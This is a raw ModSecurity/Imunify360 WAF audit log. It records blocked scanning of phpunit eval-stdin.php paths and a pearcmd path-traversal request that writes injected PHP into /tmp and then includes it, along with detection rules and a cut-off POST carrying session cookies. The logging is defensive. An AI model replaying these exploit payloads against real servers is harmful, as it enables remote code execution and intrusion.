Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/workspace/drupal/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKwGM7dE9KgIIOpQhtwAAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKwGM7dE9KgIIOpQhtwAAAAMQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789283008241306 57082 (- - -)
Stopwatch2: 1789283008241306 57082; combined=54908, p1=322, p2=54025, p3=0, p4=0, p5=560, sr=129, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--448b426f-Z--

--120cb473-A--
[13/Sep/2026:10:03:30.098302 +0300] aqZKwkwu1RSkptiiNIX1OQAAAIY 106.51.22.217 44516 127.0.0.1 7081
--120cb473-B--
GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--120cb473-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--120cb473-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/panel/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/panel/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKwkwu1RSkptiiNIX1OQAAAIY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKwkwu1RSkptiiNIX1OQAAAIY"]
Action: Intercepted (phase 2)
Stopwatch: 1789283010041020 57325 (- - -)
Stopwatch2: 1789283010041020 57325; combined=56079, p1=849, p2=54888, p3=0, p4=0, p5=342, sr=115, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--120cb473-Z--

--a5a45e7a-A--
[13/Sep/2026:10:03:32.317413 +0300] aqZKxEwu1RSkptiiNIX1OgAAAJQ 106.51.22.217 44528 127.0.0.1 7081
--a5a45e7a-B--
GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--a5a45e7a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--a5a45e7a-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/public/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/public/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKxEwu1RSkptiiNIX1OgAAAJQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKxEwu1RSkptiiNIX1OgAAAJQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789283012251078 66387 (- - -)
Stopwatch2: 1789283012251078 66387; combined=62679, p1=294, p2=59865, p3=0, p4=0, p5=2519, sr=117, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a5a45e7a-Z--

--5a5b9c50-A--
[13/Sep/2026:10:03:34.609649 +0300] aqZKxmM7dE9KgIIOpQhtwQAAAMY 106.51.22.217 44542 127.0.0.1 7081
--5a5b9c50-B--
GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--5a5b9c50-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5a5b9c50-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/apps/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/apps/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKxmM7dE9KgIIOpQhtwQAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKxmM7dE9KgIIOpQhtwQAAAMY"]
Action: Intercepted (phase 2)
Stopwatch: 1789283014551940 57758 (- - -)
Stopwatch2: 1789283014551940 57758; combined=55093, p1=1020, p2=53680, p3=0, p4=0, p5=392, sr=131, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5a5b9c50-Z--

--c6a8370a-A--
[13/Sep/2026:10:03:36.763750 +0300] aqZKyGM7dE9KgIIOpQhtwgAAAMs 106.51.22.217 46078 127.0.0.1 7081
--c6a8370a-B--
GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--c6a8370a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--c6a8370a-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/app/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/app/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKyGM7dE9KgIIOpQhtwgAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKyGM7dE9KgIIOpQhtwgAAAMs"]
Action: Intercepted (phase 2)
Stopwatch: 1789283016707024 56786 (- - -)
Stopwatch2: 1789283016707024 56786; combined=55405, p1=300, p2=54743, p3=0, p4=0, p5=362, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c6a8370a-Z--

--8e9d3701-A--
[13/Sep/2026:10:03:42.058586 +0300] aqZKzWM7dE9KgIIOpQhtxAAAAM0 106.51.22.217 46108 127.0.0.1 7081
--8e9d3701-B--
GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5("hi"));?>+/tmp/index1.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1

--8e9d3701-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--8e9d3701-E--

--8e9d3701-H--
Message: Warning. Match of "rx \\/wc-api\\/KCO_WC_Validation\\/" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "51"] [id "77140164"] [msg "IM360 WAF: Infectors: PHP Injection Low value||T:APACHE||MVN:REQUEST_URI||MV:/usr/local/lib/php/pearcmd& config-create /&/<?echo(md5(\"hi\"));?> /tmp/index1.php||SC:/var/www/vhosts/default/htdocs/index.php"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"]
Message: Warning. Pattern match "\\W" at ARGS:lang. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "112"] [id "77142202"] [msg "IM360 WAF: Block generic SQLi attack vector||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(?:print|echo|eval|exec)\\(" at ARGS_NAMES:/<?echo(md5("hi"));?> /tmp/index1.php. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "150"] [id "77140881"] [msg "IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||MVN:ARGS_NAMES:/<?echo(md5(\"hi\"));?> /tmp/index1.php||MV:/<?echo(md5(\"hi\"));?>/tmp/index1.php||T:APACHE||SC:/var/www/vhosts/default/htdocs/index.php"] [severity "DEBUG"]
Message: Warning. Pattern match "(?:print|echo|eval|exec)\\(" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "150"] [id "77140881"] [msg "IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||MVN:REQUEST_URI||MV:/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&config-create/&/<?echo(md5(\"hi\"));?>/tmp/index1.php||T:APACHE||SC:/var/www/vhosts/default/htdocs/index.php"] [severity "DEBUG"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:lang=../../../../../../../../usr/local/lib/php/pearcmd& config-create /=&/<?echo(md5(\"hi\")...=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx \\\\\\\\/wc-api\\\\\\\\/KCO_WC_Validation\\\\\\\\/" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "51"] [id "77140164"] [msg "IM360 WAF: Infectors: PHP Injection Low value||T:APACHE||MVN:REQUEST_URI||MV:/usr/local/lib/php/pearcmd& config-create /&/<?echo(md5(\\\\"hi\\\\"));?> /tmp/index1.php||SC:/var/www/vhosts/default/htdocs/index.php"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"] [hostname "default-89-39-7-190"] [uri "/index.php"] [unique_id "aqZKzWM7dE9KgIIOpQhtxAAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "\\\\\\\\W" at ARGS:lang. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "112"] [id "77142202"] [msg "IM360 WAF: Block generic SQLi attack vector||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/index.php"] [unique_id "aqZKzWM7dE9KgIIOpQhtxAAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?:print|echo|eval|exec)\\\\\\\\(" at ARGS_NAMES:/<?echo(md5("hi"));?> /tmp/index1.php. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "150"] [id "77140881"] [msg "IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||MVN:ARGS_NAMES:/<?echo(md5(\\\\"hi\\\\"));?> /tmp/index1.php||MV:/<?echo(md5(\\\\"hi\\\\"));?>/tmp/index1.php||T:APACHE||SC:/var/www/vhosts/default/htdocs/index.php"] [severity "DEBUG"] [hostname "default-89-39-7-190"] [uri "/index.php"] [unique_id "aqZKzWM7dE9KgIIOpQhtxAAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?:print|echo|eval|exec)\\\\\\\\(" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "150"] [id "77140881"] [msg "IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||MVN:REQUEST_URI||MV:/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&config-create/&/<?echo(md5(\\\\"hi\\\\"));?>/tmp/index1.php||T:APACHE||SC:/var/www/vhosts/default/htdocs/index.php"] [severity "DEBUG"] [hostname "default-89-39-7-190"] [uri "/index.php"] [unique_id "aqZKzWM7dE9KgIIOpQhtxAAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/index.php"] [unique_id "aqZKzWM7dE9KgIIOpQhtxAAAAM0"]
Action: Intercepted (phase 2)
Stopwatch: 1789283021999997 58694 (- - -)
Stopwatch2: 1789283021999997 58694; combined=57035, p1=395, p2=56290, p3=0, p4=0, p5=350, sr=155, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8e9d3701-Z--

--6c05140c-A--
[13/Sep/2026:10:03:43.976907 +0300] aqZKz2M7dE9KgIIOpQhtxQAAAMc 106.51.22.217 46116 127.0.0.1 7081
--6c05140c-B--
GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1

--6c05140c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--6c05140c-H--
Message: Warning. Pattern match "\\W" at ARGS:lang. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "112"] [id "77142202"] [msg "IM360 WAF: Block generic SQLi attack vector||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:lang=../../../../../../../../tmp/index1& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "\\\\\\\\W" at ARGS:lang. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "112"] [id "77142202"] [msg "IM360 WAF: Block generic SQLi attack vector||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/index.php"] [unique_id "aqZKz2M7dE9KgIIOpQhtxQAAAMc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/index.php"] [unique_id "aqZKz2M7dE9KgIIOpQhtxQAAAMc"]
Action: Intercepted (phase 2)
Stopwatch: 1789283023914970 61982 (- - -)
Stopwatch2: 1789283023914970 61982; combined=60300, p1=260, p2=59634, p3=0, p4=0, p5=405, sr=110, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6c05140c-Z--

--e40a3f5b-A--
[13/Sep/2026:10:10:49.054997 +0300] aqZMeGM7dE9KgIIOpQhuJwAAAMY 74.7.242.40 49494 127.0.0.1 7081
--e40a3f5b-B--
GET /xmlrpc.php?rsd HTTP/1.1
Host: axapres.ro
X-Real-IP: 74.7.242.40
X-Accel-Internal: /internal-nginx-static-location
x-openai-host-hash: 58689699
from: gptbot(at)openai.com
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)
referer: https://axapres.ro/
accept: */*
accept-encoding: gzip, br, deflate

--e40a3f5b-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.1.33
Transfer-Encoding: chunked
Content-Type: text/xml; charset=UTF-8

--e40a3f5b-E--

--e40a3f5b-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "axapres.ro"] [uri "/xmlrpc.php"] [unique_id "aqZMeGM7dE9KgIIOpQhuJwAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "axapres.ro"] [uri "/xmlrpc.php"] [unique_id "aqZMeGM7dE9KgIIOpQhuJwAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/axapres.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789283448791445 263620 (- - -)
Stopwatch2: 1789283448791445 263620; combined=4915, p1=475, p2=4305, p3=80, p4=7, p5=47, sr=267, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e40a3f5b-Z--

--fe309318-A--
[13/Sep/2026:10:11:06.684292 +0300] aqZMimM7dE9KgIIOpQhukAAAANI 212.30.36.84 60958 127.0.0.1 7081
--fe309318-B--
POST /contact HTTP/1.1
Host: telesims.com
X-Real-IP: 212.30.36.84
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 190
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept-Language: en-US, en; q=0.9
Referer: https://telesims.com/contact
Origin: https://telesims.com
Accept: text/html, application/xhtml+xml, application/xml; q=0.9, */*; q=0.8
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate, br
Cookie: XSRF-TOKEN=K3ouuo6jXqF2qsiZMw8dUia5tT1V1uTkYMTrXDpJ; esim_session=VTVjW0gSnv8APgYO0a5sPbhe7xIO15ozqcbkWEDs
